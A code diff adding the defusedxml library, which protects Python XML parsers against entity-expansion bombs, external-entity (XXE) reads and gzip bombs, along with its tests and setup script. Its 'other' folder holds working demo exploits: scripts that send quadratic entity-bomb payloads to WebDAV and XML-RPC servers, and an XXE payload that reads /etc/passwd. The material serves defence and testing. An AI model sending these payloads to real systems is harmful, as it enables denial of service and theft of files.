+# See http://www.python.org/psf/license for licensing details.
+"""Defused xml.dom.pulldom
+"""
+from __future__ import print_function, absolute_import
+
+from xml.dom.pulldom import parse as _parse
+from xml.dom.pulldom import parseString as _parseString
+from .sax import make_parser
+
+__origin__ = "xml.dom.pulldom"
+
+
+def parse(stream_or_string, parser=None, bufsize=None, forbid_dtd=False,
+          forbid_entities=True, forbid_external=True):
+    if parser is None:
+        parser = make_parser()
+        parser.forbid_dtd = forbid_dtd
+        parser.forbid_entities = forbid_entities
+        parser.forbid_external = forbid_external
+    return _parse(stream_or_string, parser, bufsize)
+
+
+def parseString(string, parser=None, forbid_dtd=False,
+                forbid_entities=True, forbid_external=True):
+    if parser is None:
+        parser = make_parser()
+        parser.forbid_dtd = forbid_dtd
+        parser.forbid_entities = forbid_entities
+        parser.forbid_external = forbid_external
+    return _parseString(string, parser)

+ 47 - 0
desktop/core/ext-py/defusedxml-0.4.1/defusedxml/sax.py

@@ -0,0 +1,47 @@
+# defusedxml
+#
+# Copyright (c) 2013 by Christian Heimes <christian@python.org>
+# Licensed to PSF under a Contributor Agreement.
+# See http://www.python.org/psf/license for licensing details.
+"""Defused xml.sax
+"""
+from __future__ import print_function, absolute_import
+
+from xml.sax import InputSource as _InputSource
+from xml.sax import ErrorHandler as _ErrorHandler
+
+from . import expatreader
+
+__origin__ = "xml.sax"
+
+def parse(source, handler, errorHandler=_ErrorHandler(), forbid_dtd=False,
+          forbid_entities=True, forbid_external=True):
+    parser = make_parser()
+    parser.setContentHandler(handler)
+    parser.setErrorHandler(errorHandler)
+    parser.forbid_dtd = forbid_dtd
+    parser.forbid_entities = forbid_entities
+    parser.forbid_external = forbid_external
+    parser.parse(source)
+
+
+def parseString(string, handler, errorHandler=_ErrorHandler(),
+                forbid_dtd=False, forbid_entities=True,
+                forbid_external=True):
+    from io import BytesIO
+
+    if errorHandler is None:
+        errorHandler = _ErrorHandler()
+    parser = make_parser()
+    parser.setContentHandler(handler)
+    parser.setErrorHandler(errorHandler)
+    parser.forbid_dtd = forbid_dtd
+    parser.forbid_entities = forbid_entities
+    parser.forbid_external = forbid_external
+
+    inpsrc = _InputSource()
+    inpsrc.setByteStream(BytesIO(string))
+    parser.parse(inpsrc)
+
+def make_parser(parser_list=[]):
+    return expatreader.create_parser()

+ 160 - 0
desktop/core/ext-py/defusedxml-0.4.1/defusedxml/xmlrpc.py

@@ -0,0 +1,160 @@
+# defusedxml
+#
+# Copyright (c) 2013 by Christian Heimes <christian@python.org>
+# Licensed to PSF under a Contributor Agreement.
+# See http://www.python.org/psf/license for licensing details.
+"""Defused xmlrpclib
+
+Also defuses gzip bomb
+"""
+from __future__ import print_function, absolute_import
+
+import io
+
+from .common import (DTDForbidden, EntitiesForbidden,
+                     ExternalReferenceForbidden, PY3, PY31, PY26)
+
+if PY3:
+    __origin__ = "xmlrpc.client"
+    from xmlrpc.client import ExpatParser
+    from xmlrpc import client as xmlrpc_client
+    from xmlrpc import server as xmlrpc_server
+    if not PY31:
+        from xmlrpc.client import gzip_decode as _orig_gzip_decode
+        from xmlrpc.client import GzipDecodedResponse as  _OrigGzipDecodedResponse
+else:
+    __origin__ = "xmlrpclib"
+    from xmlrpclib import ExpatParser
+    import xmlrpclib as xmlrpc_client
+    xmlrpc_server = None
+    if not PY26:
+        from xmlrpclib import gzip_decode as _orig_gzip_decode
+        from xmlrpclib import GzipDecodedResponse as  _OrigGzipDecodedResponse
+
+try:
+    import gzip
+except ImportError:
+    gzip = None
+
+
+# Limit maximum request size to prevent resource exhaustion DoS
+# Also used to limit maximum amount of gzip decoded data in order to prevent
+# decompression bombs
+# A value of -1 or smaller disables the limit
+MAX_DATA = 30 * 1024 * 1024 # 30 MB
+
+def defused_gzip_decode(data, limit=None):
+    """gzip encoded data -> unencoded data
+
+    Decode data using the gzip content encoding as described in RFC 1952
+    """
+    if not gzip:
+        raise NotImplementedError
+    if limit is None:
+        limit = MAX_DATA
+    f = io.BytesIO(data)
+    gzf = gzip.GzipFile(mode="rb", fileobj=f)
+    try:
+        if limit < 0: # no limit
+            decoded = gzf.read()
+        else:
+            decoded = gzf.read(limit + 1)
+    except IOError:
+        raise ValueError("invalid data")
+    f.close()
+    gzf.close()
+    if limit >= 0 and len(decoded) > limit:
+        raise ValueError("max gzipped payload length exceeded")
+    return decoded
+
+
+class DefusedGzipDecodedResponse(gzip.GzipFile if gzip else object):
+    """a file-like object to decode a response encoded with the gzip
+    method, as described in RFC 1952.
+    """
+    def __init__(self, response, limit=None):
+        #response doesn't support tell() and read(), required by
+        #GzipFile
+        if not gzip:
+            raise NotImplementedError
+        self.limit = limit = limit if limit is not None else MAX_DATA
+        if limit < 0: # no limit
+            data = response.read()
+            self.readlength = None
+        else:
+            data = response.read(limit + 1)
+            self.readlength = 0
+        if limit >= 0 and len(data) > limit:
+            raise ValueError("max payload length exceeded")
+        self.stringio = io.BytesIO(data)
+        gzip.GzipFile.__init__(self, mode="rb", fileobj=self.stringio)
+
+    def read(self, n):
+        if self.limit >= 0:
+            left = self.limit - self.readlength
+            n = min(n, left + 1)
+            data = gzip.GzipFile.read(self, n)
+            self.readlength += len(data)
+            if self.readlength > self.limit:
+                raise ValueError("max payload length exceeded")
+            return data
+        else:
+            return gzip.GzipFile.read(self, n)
+
+    def close(self):
+        gzip.GzipFile.close(self)
+        self.stringio.close()
+
+
+class DefusedExpatParser(ExpatParser):
+    def __init__(self, target, forbid_dtd=False, forbid_entities=True,
+                 forbid_external=True):
+        ExpatParser.__init__(self, target)
+        self.forbid_dtd = forbid_dtd
+        self.forbid_entities = forbid_entities
+        self.forbid_external = forbid_external
+        parser = self._parser
+        if self.forbid_dtd:
+            parser.StartDoctypeDeclHandler = self.defused_start_doctype_decl
+        if self.forbid_entities:
+            parser.EntityDeclHandler = self.defused_entity_decl
+            parser.UnparsedEntityDeclHandler = self.defused_unparsed_entity_decl
+        if self.forbid_external:
+            parser.ExternalEntityRefHandler = self.defused_external_entity_ref_handler
+
+    def defused_start_doctype_decl(self, name, sysid, pubid,
+                                   has_internal_subset):
+        raise DTDForbidden(name, sysid, pubid)
+
+    def defused_entity_decl(self, name, is_parameter_entity, value, base,
+                            sysid, pubid, notation_name):
+        raise EntitiesForbidden(name, value, base, sysid, pubid, notation_name)
+
+    def defused_unparsed_entity_decl(self, name, base, sysid, pubid,
+                                     notation_name):
+        # expat 1.2
+        raise EntitiesForbidden(name, None, base, sysid, pubid, notation_name)
+
+    def defused_external_entity_ref_handler(self, context, base, sysid,
+                                            pubid):
+        raise ExternalReferenceForbidden(context, base, sysid, pubid)
+
+
+def monkey_patch():
+    xmlrpc_client.FastParser = DefusedExpatParser
+    if PY26 or PY31:
+        # Python 2.6 and 3.1 have no gzip support in xmlrpc
+        return
+    xmlrpc_client.GzipDecodedResponse = DefusedGzipDecodedResponse
+    xmlrpc_client.gzip_decode = defused_gzip_decode
+    if xmlrpc_server:
+        xmlrpc_server.gzip_decode = defused_gzip_decode
+
+def unmonkey_patch():
+    xmlrpc_client.FastParser = None
+    if PY26 or PY31:
+        return
+    xmlrpc_client.GzipDecodedResponse = _OrigGzipDecodedResponse
+    xmlrpc_client.gzip_decode = _orig_gzip_decode
+    if xmlrpc_server:
+        xmlrpc_server.gzip_decode = _orig_gzip_decode

+ 3 - 0
desktop/core/ext-py/defusedxml-0.4.1/other/README.txt

@@ -0,0 +1,3 @@
+This directory contains test and demo scripts for other frameworks and
+languages. I used them to examine the characteristics of XML parsers.
+

+ 44 - 0
desktop/core/ext-py/defusedxml-0.4.1/other/exploit_webdav.py

@@ -0,0 +1,44 @@
+#!/usr/bin/python
+"""Demo exploit for WebDAV DoS attack
+
+Author: Christian Heimes
+"""
+import sys
+import base64
+import urlparse
+import httplib
+
+if len(sys.argv) != 2:
+    sys.exit("{} http://user:password@host:port/".format(sys.argv[0]))
+
+url = urlparse.urlparse(sys.argv[1])
+
+xml = """<?xml version='1.0'?>
+<!DOCTYPE bomb [
+<!ENTITY a "VALUE">
+]>
+ <propfind xmlns="DAV:">
+   <prop>QUAD
+    <supported-live-property-set/>
+    <supported-method-set/>
+    </prop>
+</propfind>
+"""
+
+xml = xml.replace("VALUE", "a" * 30000)
+xml = xml.replace("QUAD", "&a;" * 1000)
+
+headers = {
+    "Content-Type": "text/xml",
+    "Content-Length": len(xml),
+    "Depth": 1,
+    }
+
+if url.username:
+    auth = base64.b64encode(":".join((url.username, url.password)))
+    headers["Authorization"] = "Basic %s" % auth
+
+con = httplib.HTTPConnection(url.hostname, int(url.port))
+con.request("PROPFIND", url.path, body=xml, headers=headers)
+res = con.getresponse()
+print(res.read())

+ 40 - 0
desktop/core/ext-py/defusedxml-0.4.1/other/exploit_xmlrpc.py

@@ -0,0 +1,40 @@
+#!/usr/bin/python
+"""Demo exploit for XML-RPC DoS attack
+
+Author: Christian Heimes
+"""
+import sys
+import urllib2
+
+if len(sys.argv) != 2:
+    sys.exit("{} url".format(sys.argv[0]))
+
+url = sys.argv[1]
+
+xml = """<?xml version='1.0'?>
+<!DOCTYPE bomb [
+<!ENTITY a "VALUE">
+]>
+<methodCall>
+<methodName>system.methodSignature</methodName>
+<params>
+<param>
+<value><string>QUAD</string></value>
+</param>
+</params>
+</methodCall>
+"""
+
+xml = xml.replace("VALUE", "a" * 100000)
+xml = xml.replace("QUAD", "&a;" * 1000)
+
+headers = {"Content-Type": "text/xml", "Content-Length": len(xml)}
+
+req = urllib2.Request(url, data=xml, headers=headers)
+
+print("Sending request to {}".format(url))
+
+resp = urllib2.urlopen(req)
+
+print("Response")
+print(resp.read())

+ 9 - 0
desktop/core/ext-py/defusedxml-0.4.1/other/perl.pl

@@ -0,0 +1,9 @@
+#!/usr/bin/perl
+
+use XML::Simple;
+use Data::Dumper;
+
+$parser = new XML::Simple;
+$xml = $parser->XMLin("$ARGV[0]");
+$data = Dumper($xml);
+print $data;

+ 16 - 0
desktop/core/ext-py/defusedxml-0.4.1/other/php.php

@@ -0,0 +1,16 @@
+#!/usr/bin/php
+<?php
+
+// $options = 0;
+// $options = LIBXML_NONET;
+$options = LIBXML_NOENT;
+
+/* LIBXML_NOENT doesn't have any effect but
+   libxml_disable_entity_loader(true) works */
+
+$xml = simplexml_load_file($argv[1], "SimpleXMLElement", $options);
+$data = (string)$xml;
+echo strlen($data);
+echo $data;
+?>
+

+ 60 - 0
desktop/core/ext-py/defusedxml-0.4.1/other/python_external.py

@@ -0,0 +1,60 @@
+#!/usr/bin/python
+"""Demo exploit for external entity expansion
+
+Author: Christian Heimes
+"""
+import sys
+from xml.sax import ContentHandler
+from xml.sax import parseString
+
+xml_good = """<weather>Aachen</weather>"""
+
+xml_bad_file = """<?xml version="1.0" encoding="utf-8"?>
+<!DOCTYPE weather [
+<!ENTITY passwd SYSTEM "file:///etc/passwd">
+]>
+<weather>&passwd;</weather>
+"""
+
+xml_bad_url = """<?xml version="1.0" encoding="utf-8"?>
+<!DOCTYPE weather [
+<!ENTITY url SYSTEM "http://hg.python.org/cpython/raw-file/a11ddd687a0b/Lib/test/dh512.pem">
+]>
+<weather>&url;</weather>
+"""
+
+
+class WeatherHandler(ContentHandler):
+    def __init__(self):
+        ContentHandler.__init__(self)
+        self.tag = "unseen"
+        self.city = []
+
+    def startElement(self, name, attrs):
+        if name != "weather" or self.tag != "unseen":
+            raise ValueError(name)
+        self.tag = "processing"
+
+    def endElement(self, name):
+        self.tag = "seen"
+        self.city = "".join(self.city)
+
+    def characters(self, content):
+        if self.tag == "processing":
+           self.city.append(content)
+
+
+def weatherResponse(xml):
+    handler = WeatherHandler()
+    parseString(xml, handler)
+    if handler.city == "Aachen":
+        return "<weather>The weather in %s is terrible.</weather" % handler.city
+    else:
+        return "<error>Unknown city %s</error>" % handler.city[:500]
+
+for xml in (xml_good, xml_bad_file, xml_bad_url):
+    print("\nREQUEST:\n--------")
+    print(xml)
+    print("\nRESPONSE:\n---------")
+    print(weatherResponse(xml))
+    print("")

+ 9 - 0
desktop/core/ext-py/defusedxml-0.4.1/other/python_genshi.py

@@ -0,0 +1,9 @@
+#!/usr/bin/python
+import sys
+from pprint import pprint
+from genshi.input import XMLParser
+
+with open(sys.argv[1]) as f:
+    parser = XMLParser(f)
+    pprint(list(parser))
+

+ 7 - 0
desktop/core/ext-py/defusedxml-0.4.1/other/ruby-hpricot.rb

@@ -0,0 +1,7 @@
+#!/usr/bin/ruby -w
+require 'hpricot'
+
+xml = File.read(ARGV[0])
+doc = Hpricot(xml)
+puts doc
+

+ 17 - 0
desktop/core/ext-py/defusedxml-0.4.1/other/ruby-libxml.rb

@@ -0,0 +1,17 @@
+#!/usr/bin/ruby -w
+require 'libxml'
+
+include LibXML
+
+class PostCallbacks
+  include XML::SaxParser::Callbacks
+
+  def on_start_element(element, attributes)
+    puts element
+  end
+end
+
+parser = XML::SaxParser.file(ARGV[0])
+parser.callbacks = PostCallbacks.new
+parser.parse
+

+ 9 - 0
desktop/core/ext-py/defusedxml-0.4.1/other/ruby-rexml.rb

@@ -0,0 +1,9 @@
+#!/usr/bin/ruby -w
+require "rexml/document"
+
+xml = File.read(ARGV[0])
+# REXML::Document.entity_expansion_limit = 1000
+xmldoc = REXML::Document.new(xml)
+data = xmldoc.root.text
+#puts data.length
+puts data

+ 58 - 0
desktop/core/ext-py/defusedxml-0.4.1/setup.py

@@ -0,0 +1,58 @@
+#!/usr/bin/env python
+from __future__ import absolute_import
+import sys
+from distutils.core import setup, Command
+import subprocess
+
+import defusedxml
+
+class PyTest(Command):
+    user_options = []
+    def initialize_options(self):
+        pass
+    def finalize_options(self):
+        pass
+    def run(self):
+        errno = subprocess.call([sys.executable, "tests.py"])
+        raise SystemExit(errno)
+
+
+long_description = []
+with open("README.txt") as f:
+    long_description.append(f.read())
+with open("CHANGES.txt") as f:
+    long_description.append(f.read())
+
+setup(
+    name="defusedxml",
+    version=defusedxml.__version__,
+    cmdclass={"test": PyTest},
+    packages=["defusedxml"],
+    author="Christian Heimes",
+    author_email="christian@python.org",
+    maintainer="Christian Heimes",
+    maintainer_email="christian@python.org",
+    url="https://bitbucket.org/tiran/defusedxml",
+    download_url="http://pypi.python.org/pypi/defusedxml",
+    keywords="xml bomb DoS",
+    platforms="all",
+    license="PSFL",
+    description="XML bomb protection for Python stdlib modules",
+    long_description="\n".join(long_description),
+    classifiers=[
+        "Development Status :: 5 - Production/Stable",
+        "Intended Audience :: Developers",
+        "License :: OSI Approved :: Python Software Foundation License",
+        "Natural Language :: English",
+        "Programming Language :: Python",
+        "Programming Language :: Python :: 2",
+        "Programming Language :: Python :: 2.6",
+        "Programming Language :: Python :: 2.7",
+        "Programming Language :: Python :: 3",
+        "Programming Language :: Python :: 3.1",
+        "Programming Language :: Python :: 3.2",
+        "Programming Language :: Python :: 3.3",
+        "Topic :: Text Processing :: Markup :: XML",
+    ],
+)
+

+ 544 - 0
desktop/core/ext-py/defusedxml-0.4.1/tests.py

@@ -0,0 +1,544 @@
+from __future__ import print_function
+import os
+import sys
+import unittest
+import io
+import re
+
+from xml.sax.saxutils import XMLGenerator
+from xml.sax import SAXParseException
+from pyexpat import ExpatError
+
+from defusedxml import cElementTree, ElementTree, minidom, pulldom, sax, xmlrpc
+from defusedxml import defuse_stdlib
+from defusedxml import (DefusedXmlException, DTDForbidden, EntitiesForbidden,
+                        ExternalReferenceForbidden, NotSupportedError)
+from defusedxml.common import PY3, PY26, PY31
+
+
+try:
+    import gzip
+except ImportError:
+    gzip = None
+
+try:
+    from defusedxml import lxml
+    from lxml.etree import XMLSyntaxError
+    LXML3 = lxml.LXML3
+except ImportError:
+    lxml = None
+    XMLSyntaxError = None
+    LXML3 = False
+
+
+HERE = os.path.dirname(os.path.abspath(__file__))
+
+# prevent web access
+# based on Debian's rules, Port 9 is discard
+os.environ["http_proxy"] = "http://127.0.9.1:9"
+os.environ["https_proxy"] = os.environ["http_proxy"]
+os.environ["ftp_proxy"] = os.environ["http_proxy"]
+
+if PY26 or PY31:
+    class _AssertRaisesContext(object):
+        def __init__(self, expected, test_case, expected_regexp=None):
+            self.expected = expected
+            self.failureException = test_case.failureException
+            self.expected_regexp = expected_regexp
+
+        def __enter__(self):
+            return self
+
+        def __exit__(self, exc_type, exc_value, tb):
+            if exc_type is None:
+                try:
+                    exc_name = self.expected.__name__
+                except AttributeError:
+                    exc_name = str(self.expected)
+                raise self.failureException(
+                    "{0} not raised".format(exc_name))
+            if not issubclass(exc_type, self.expected):
+                # let unexpected exceptions pass through
+                return False
+            self.exception = exc_value # store for later retrieval
+            if self.expected_regexp is None:
+                return True
+
+            expected_regexp = self.expected_regexp
+            if isinstance(expected_regexp, basestring):
+                expected_regexp = re.compile(expected_regexp)
+            if not expected_regexp.search(str(exc_value)):
+                raise self.failureException('"%s" does not match "%s"' %
+                         (expected_regexp.pattern, str(exc_value)))
+            return True
+
+
+class DefusedTestCase(unittest.TestCase):
+
+    if PY3:
+        content_binary = False
+    else:
+        content_binary = True
+
+    xml_dtd = os.path.join(HERE, "xmltestdata", "dtd.xml")
+    xml_external = os.path.join(HERE, "xmltestdata", "external.xml")
+    xml_external_file = os.path.join(HERE, "xmltestdata", "external_file.xml")
+    xml_quadratic = os.path.join(HERE, "xmltestdata", "quadratic.xml")
+    xml_simple = os.path.join(HERE, "xmltestdata", "simple.xml")
+    xml_simple_ns = os.path.join(HERE, "xmltestdata", "simple-ns.xml")
+    xml_bomb = os.path.join(HERE, "xmltestdata", "xmlbomb.xml")
+    xml_bomb2 = os.path.join(HERE, "xmltestdata", "xmlbomb2.xml")
+    xml_cyclic = os.path.join(HERE, "xmltestdata", "cyclic.xml")
+
+    if PY26 or PY31:
+        # old Python versions don't have these useful test methods
+        def assertRaises(self, excClass, callableObj=None, *args, **kwargs):
+            context = _AssertRaisesContext(excClass, self)
+            if callableObj is None:
+                return context
+            with context:
+                callableObj(*args, **kwargs)
+
+        def assertIn(self, member, container, msg=None):
+            if member not in container:
+                standardMsg = '%s not found in %s' % (repr(member),
+                                                      repr(container))
+                self.fail(self._formatMessage(msg, standardMsg))
+
+    def get_content(self, xmlfile):
+        mode = "rb" if self.content_binary else "r"
+        with io.open(xmlfile, mode) as f:
+            data = f.read()
+        return data
+
+
+class BaseTests(DefusedTestCase):
+    module = None
+    dtd_external_ref = False
+
+    external_ref_exception = ExternalReferenceForbidden
+    cyclic_error = None
+    iterparse = None
+
+    def test_simple_parse(self):
+        self.parse(self.xml_simple)
+        self.parseString(self.get_content(self.xml_simple))
+        if self.iterparse:
+            self.iterparse(self.xml_simple)
+
+    def test_simple_parse_ns(self):
+        self.parse(self.xml_simple_ns)
+        self.parseString(self.get_content(self.xml_simple_ns))
+        if self.iterparse:
+            self.iterparse(self.xml_simple_ns)
+
+    def test_entities_forbidden(self):
+        self.assertRaises(EntitiesForbidden, self.parse, self.xml_bomb)
+        self.assertRaises(EntitiesForbidden, self.parse, self.xml_quadratic)
+        self.assertRaises(EntitiesForbidden, self.parse, self.xml_external)
+
+        self.assertRaises(EntitiesForbidden, self.parseString,
+                          self.get_content(self.xml_bomb))
+        self.assertRaises(EntitiesForbidden, self.parseString,
+                          self.get_content(self.xml_quadratic))
+        self.assertRaises(EntitiesForbidden, self.parseString,
+                          self.get_content(self.xml_external))
+
+        if self.iterparse:
+            self.assertRaises(EntitiesForbidden, self.iterparse,
+                              self.xml_bomb)
+            self.assertRaises(EntitiesForbidden, self.iterparse,
+                              self.xml_quadratic)
+            self.assertRaises(EntitiesForbidden, self.iterparse,
+                              self.xml_external)
+
+    def test_entity_cycle(self):
+        self.assertRaises(self.cyclic_error, self.parse, self.xml_cyclic,
+                          forbid_entities=False)
+
+    def test_dtd_forbidden(self):
+        self.assertRaises(DTDForbidden, self.parse, self.xml_bomb,
+                          forbid_dtd=True)
+        self.assertRaises(DTDForbidden, self.parse, self.xml_quadratic,
+                          forbid_dtd=True)
+        self.assertRaises(DTDForbidden, self.parse, self.xml_external,
+                          forbid_dtd=True)
+        self.assertRaises(DTDForbidden, self.parse, self.xml_dtd,
+                          forbid_dtd=True)
+
+        self.assertRaises(DTDForbidden, self.parseString,
+                          self.get_content(self.xml_bomb),
+                          forbid_dtd=True)
+        self.assertRaises(DTDForbidden, self.parseString,
+                          self.get_content(self.xml_quadratic),
+                          forbid_dtd=True)
+        self.assertRaises(DTDForbidden, self.parseString,
+                          self.get_content(self.xml_external),
+                          forbid_dtd=True)
+        self.assertRaises(DTDForbidden, self.parseString,
+                          self.get_content(self.xml_dtd),
+                          forbid_dtd=True)
+
+        if self.iterparse:
+            self.assertRaises(DTDForbidden, self.iterparse,
+                              self.xml_bomb, forbid_dtd=True)
+            self.assertRaises(DTDForbidden, self.iterparse,
+                              self.xml_quadratic, forbid_dtd=True)
+            self.assertRaises(DTDForbidden, self.iterparse,
+                              self.xml_external, forbid_dtd=True)
+            self.assertRaises(DTDForbidden, self.iterparse,
+                              self.xml_dtd, forbid_dtd=True)
+
+
+    def test_dtd_with_external_ref(self):
+        if self.dtd_external_ref:
+            self.assertRaises(self.external_ref_exception, self.parse,
+                              self.xml_dtd)
+        else:
+            self.parse(self.xml_dtd)
+
+    def test_external_ref(self):
+        self.assertRaises(self.external_ref_exception, self.parse,
+                          self.xml_external, forbid_entities=False)
+
+    def test_external_file_ref(self):
+        content = self.get_content(self.xml_external_file)
+        if isinstance(content, bytes):
+            here = HERE.encode(sys.getfilesystemencoding())
+            content = content.replace(b"/PATH/TO", here)
+        else:
+            content = content.replace("/PATH/TO", HERE)
+        self.assertRaises(self.external_ref_exception, self.parseString,
+                          content, forbid_entities=False)
+
+    def test_allow_expansion(self):
+        self.parse(self.xml_bomb2, forbid_entities=False)
+        self.parseString(self.get_content(self.xml_bomb2),
+                         forbid_entities=False)
+
+
+class TestDefusedElementTree(BaseTests):
+    module = ElementTree
+
+
+    ## etree doesn't do external ref lookup
+    #external_ref_exception = ElementTree.ParseError
+
+    cyclic_error = ElementTree.ParseError
+
+    def parse(self, xmlfile, **kwargs):
+        tree = self.module.parse(xmlfile, **kwargs)
+        return self.module.tostring(tree.getroot())
+
+    def parseString(self, xmlstring, **kwargs):
+        tree = self.module.fromstring(xmlstring, **kwargs)
+        return self.module.tostring(tree)
+
+    def iterparse(self, source, **kwargs):
+        return list(self.module.iterparse(source, **kwargs))
+
+
+class TestDefusedcElementTree(TestDefusedElementTree):
+    module = cElementTree
+
+
+class TestDefusedMinidom(BaseTests):
+    module = minidom
+
+    cyclic_error = ExpatError
+
+
+    iterparse = None
+
+    def parse(self, xmlfile, **kwargs):
+        doc = self.module.parse(xmlfile, **kwargs)
+        return doc.toxml()
+
+    def parseString(self, xmlstring, **kwargs):
+        doc = self.module.parseString(xmlstring, **kwargs)
+        return doc.toxml()
+
+
+class TestDefusedPulldom(BaseTests):
+    module = pulldom
+
+    cyclic_error = SAXParseException
+
+    dtd_external_ref = True
+
+    def parse(self, xmlfile, **kwargs):
+        events = self.module.parse(xmlfile, **kwargs)
+        return list(events)
+
+    def parseString(self, xmlstring, **kwargs):
+        events = self.module.parseString(xmlstring, **kwargs)
+        return list(events)
+
+
+class TestDefusedSax(BaseTests):
+    module = sax
+
+    cyclic_error = SAXParseException
+
+    content_binary = True
+    dtd_external_ref = True
+
+    def parse(self, xmlfile, **kwargs):
+        if PY3:
+            result = io.StringIO()
+        else:
+            result = io.BytesIO()
+        handler = XMLGenerator(result)
+        self.module.parse(xmlfile, handler, **kwargs)
+        return result.getvalue()
+
+    def parseString(self, xmlstring, **kwargs):
+        if PY3:
+            result = io.StringIO()
+        else:
+            result = io.BytesIO()
+        handler = XMLGenerator(result)
+        self.module.parseString(xmlstring, handler, **kwargs)
+        return result.getvalue()
+
+    def test_exceptions(self):
+        if PY26:
+            # Python 2.6 unittest doesn't support with self.assertRaises()
+            return
+
+        with self.assertRaises(EntitiesForbidden) as ctx:
+            self.parse(self.xml_bomb)
+        msg = "EntitiesForbidden(name='a', system_id=None, public_id=None)"
+        self.assertEqual(str(ctx.exception), msg)
+        self.assertEqual(repr(ctx.exception), msg)
+
+        with self.assertRaises(ExternalReferenceForbidden) as ctx:
+            self.parse(self.xml_external, forbid_entities=False)
+        msg = ("ExternalReferenceForbidden"
+               "(system_id='http://www.w3schools.com/xml/note.xml', public_id=None)")
+        self.assertEqual(str(ctx.exception), msg)
+        self.assertEqual(repr(ctx.exception), msg)
+
+        with self.assertRaises(DTDForbidden) as ctx:
+            self.parse(self.xml_bomb, forbid_dtd=True)
+        msg = "DTDForbidden(name='xmlbomb', system_id=None, public_id=None)"
+        self.assertEqual(str(ctx.exception), msg)
+        self.assertEqual(repr(ctx.exception), msg)
+
+
+class TestDefusedLxml(BaseTests):
+    module = lxml
+
+    cyclic_error = XMLSyntaxError
+
+    content_binary = True
+
+    def parse(self, xmlfile, **kwargs):
+        tree = self.module.parse(xmlfile, **kwargs)
+        return self.module.tostring(tree)
+
+    def parseString(self, xmlstring, **kwargs):
+        tree = self.module.fromstring(xmlstring, **kwargs)
+        return self.module.tostring(tree)
+
+    if not LXML3:
+        def test_entities_forbidden(self):
+            self.assertRaises(NotSupportedError, self.parse, self.xml_bomb)
+
+        def test_dtd_with_external_ref(self):
+            self.assertRaises(NotSupportedError, self.parse, self.xml_dtd)
+
+    def test_external_ref(self):
+        pass
+
+    def test_external_file_ref(self):
+        pass
+
+    def test_restricted_element1(self):
+        tree = self.module.parse(self.xml_bomb, forbid_dtd=False,
+                                 forbid_entities=False)
+        root = tree.getroot()
+        self.assertEqual(root.text, None)
+
+        self.assertEqual(list(root), [])
+        self.assertEqual(root.getchildren(), [])
+        self.assertEqual(list(root.iter()), [root])
+        self.assertEqual(list(root.iterchildren()), [])
+        self.assertEqual(list(root.iterdescendants()), [])
+        self.assertEqual(list(root.itersiblings()), [])
+        self.assertEqual(list(root.getiterator()), [root])
+        self.assertEqual(root.getnext(), None)
+
+    def test_restricted_element2(self):
+        tree = self.module.parse(self.xml_bomb2, forbid_dtd=False,
+                                 forbid_entities=False)
+        root = tree.getroot()
+        bomb, tag = root
+        self.assertEqual(root.text, "text")
+
+        self.assertEqual(list(root), [bomb, tag])
+        self.assertEqual(root.getchildren(), [bomb, tag])
+        self.assertEqual(list(root.iter()), [root, bomb, tag])
+        self.assertEqual(list(root.iterchildren()), [bomb, tag])
+        self.assertEqual(list(root.iterdescendants()), [bomb, tag])
+        self.assertEqual(list(root.itersiblings()), [])
+        self.assertEqual(list(root.getiterator()), [root, bomb, tag])
+        self.assertEqual(root.getnext(), None)
+        self.assertEqual(root.getprevious(), None)
+
+        self.assertEqual(list(bomb.itersiblings()), [tag])
+        self.assertEqual(bomb.getnext(), tag)
+        self.assertEqual(bomb.getprevious(), None)
+        self.assertEqual(tag.getnext(), None)
+        self.assertEqual(tag.getprevious(), bomb)
+
+    def test_xpath_injection(self):
+        # show XPath injection vulnerability
+        xml = """<root><tag id="one" /><tag id="two"/></root>"""
+        expr = "one' or @id='two"
+        root = lxml.fromstring(xml)
+
+        # insecure way
+        xp = "tag[@id='%s']" % expr
+        elements = root.xpath(xp)
+        self.assertEqual(len(elements), 2)
+        self.assertEqual(elements, list(root))
+
+        # proper and safe way
+        xp = "tag[@id=$idname]"
+        elements = root.xpath(xp, idname=expr)
+        self.assertEqual(len(elements), 0)
+        self.assertEqual(elements, [])
+
+        elements = root.xpath(xp, idname="one")
+        self.assertEqual(len(elements), 1)
+        self.assertEqual(elements, list(root)[:1])
+
+
+class XmlRpcTarget(object):
+    def __init__(self):
+        self._data = []
+
+    def __str__(self):
+        return "".join(self._data)
+
+    def xml(self, encoding, standalone):
+        pass
+
+    def start(self, tag, attrs):
+        self._data.append("<%s>" % tag)
+
+    def data(self, text):
+        self._data.append(text)
+
+    def end(self, tag):
+        self._data.append("</%s>" % tag)
+
+class TestXmlRpc(DefusedTestCase):
+    module = xmlrpc
+    def parse(self, xmlfile, **kwargs):
+        target = XmlRpcTarget()
+        parser = self.module.DefusedExpatParser(target, **kwargs)
+        data = self.get_content(xmlfile)
+        parser.feed(data)
+        parser.close()
+        return target
+
+    def parse_unpatched(self, xmlfile):
+        target = XmlRpcTarget()
+        parser = self.module.ExpatParser(target)
+        data = self.get_content(xmlfile)
+        parser.feed(data)
+        parser.close()
+        return target
+
+    def test_xmlrpc(self):
+        self.assertRaises(EntitiesForbidden, self.parse, self.xml_bomb)
+        self.assertRaises(EntitiesForbidden, self.parse, self.xml_quadratic)
+        self.parse(self.xml_dtd)
+        self.assertRaises(DTDForbidden, self.parse, self.xml_dtd,
+                          forbid_dtd=True)
+
+    #def test_xmlrpc_unpatched(self):
+    #    for fname in (self.xml_external,  self.xml_dtd):
+    #        print(self.parse_unpatched(fname))
+
+    def test_monkeypatch(self):
+        try:
+            xmlrpc.monkey_patch()
+        finally:
+            xmlrpc.unmonkey_patch()
+
+
+class TestDefusedGzip(DefusedTestCase):
+    def get_gzipped(self, length):
+        f = io.BytesIO()
+        gzf = gzip.GzipFile(mode="wb", fileobj=f)
+        gzf.write(b"d" * length)
+        gzf.close()
+        f.seek(0)
+        return f
+
+    def decode_response(self, response, limit=None, readlength=1024):
+        dec = xmlrpc.DefusedGzipDecodedResponse(response, limit)
+        acc = []
+        while True:
+            data = dec.read(readlength)
+            if not data:
+                break
+            acc.append(data)
+        return b"".join(acc)
+
+    def test_defused_gzip_decode(self):
+        data = self.get_gzipped(4096).getvalue()
+        result = xmlrpc.defused_gzip_decode(data)
+        self.assertEqual(result, b"d" *4096)
+        result = xmlrpc.defused_gzip_decode(data, -1)
+        self.assertEqual(result, b"d" *4096)
+        result = xmlrpc.defused_gzip_decode(data, 4096)
+        self.assertEqual(result, b"d" *4096)
+        with self.assertRaises(ValueError):
+            result = xmlrpc.defused_gzip_decode(data, 4095)
